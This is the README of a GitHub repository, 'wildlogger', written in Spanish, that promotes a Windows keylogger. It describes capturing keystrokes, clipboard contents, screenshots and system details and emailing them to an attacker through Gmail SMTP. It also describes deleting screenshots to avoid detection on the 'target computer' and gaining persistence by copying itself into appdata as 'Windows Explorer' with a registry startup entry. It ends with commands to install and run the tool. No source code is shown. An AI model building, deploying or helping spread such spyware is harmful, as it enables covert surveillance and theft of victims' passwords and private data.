mustafadalga/wildloggerEsto es un keylogger que recopila todos los datos y los envía por correo electrónico en un tiempo determinado con información del sistema que incluye el S/N del dispositivo y las especificaciones de hardware, cada tecla presionada, capturas de pantalla y procesos de copia.
__ ___ _ _ _
\ \ / (_) | | | | |
\ \ /\ / / _| | __| | | | ___ __ _ __ _ ___ _ __
\ \/ \/ / | | |/ _` | | | / _ \ / _` |/ _` |/ _ \ '__|
\ /\ / | | | (_| | | |___| (_) | (_| | (_| | __/ |
\/ \/ |_|_|\__,_| |______\___/ \__, |\__, |\___|_|
__/ | __/ |
|___/ |___/
Un keylogger diseñado para sistema operativo Windows que captura información de conexión, información del sistema del dispositivo, una lista de procesos en ejecución y servicios detenidos en el sistema operativo, pulsaciones de teclado, contenido del portapapeles de copiar-pegar y capturas de pantalla del sistema objetivo, enviándolos a una dirección de correo electrónico especificada en intervalos de tiempo determinados.
| :arrow_right: |
Se utilizan 2 hilos diferentes para enviar registros de logs y capturas de pantalla como informes;
:heavy_check_mark: El primer hilo envía los registros de logs a la dirección de correo electrónico especificada según el intervalo de tiempo indicado. :heavy_check_mark: El segundo hilo toma capturas de pantalla en intervalos especificados. Si el número de capturas tomadas llega a 10, envía un informe de las capturas a la dirección de correo electrónico especificada y las elimina para evitar detectar anomalías en el ordenador objetivo. |
| :arrow_right: | Por defecto, se utiliza el servidor de correo de Google Mail para las operaciones de informe. |
| :arrow_right: | Si se va a realizar el informe utilizando el servidor SMTP de Gmail, se debe habilitar el Acceso de aplicaciones menos seguras. |
| :arrow_right: | El método persistente, que garantiza que Wildlogger se ejecute continuamente en el ordenador objetivo, está desactivado por defecto. |
| :arrow_right: |
Cuando Wildlogger se convierte en un exe, el método persistente debe activarse para que se ejecute continuamente en el ordenador objetivo. Después de activar el método persistente;
:heavy_check_mark: El archivo Wildlogger ejecutado se copia en la carpeta appdata con el nombre "Windows Explorer", :heavy_check_mark: En el registro, se garantiza la persistencia añadiendo la ruta del archivo keylogger entre las aplicaciones que se ejecutan al inicio de Windows. |
python -m pip install -r .\requirements.txt
python wildlogger.py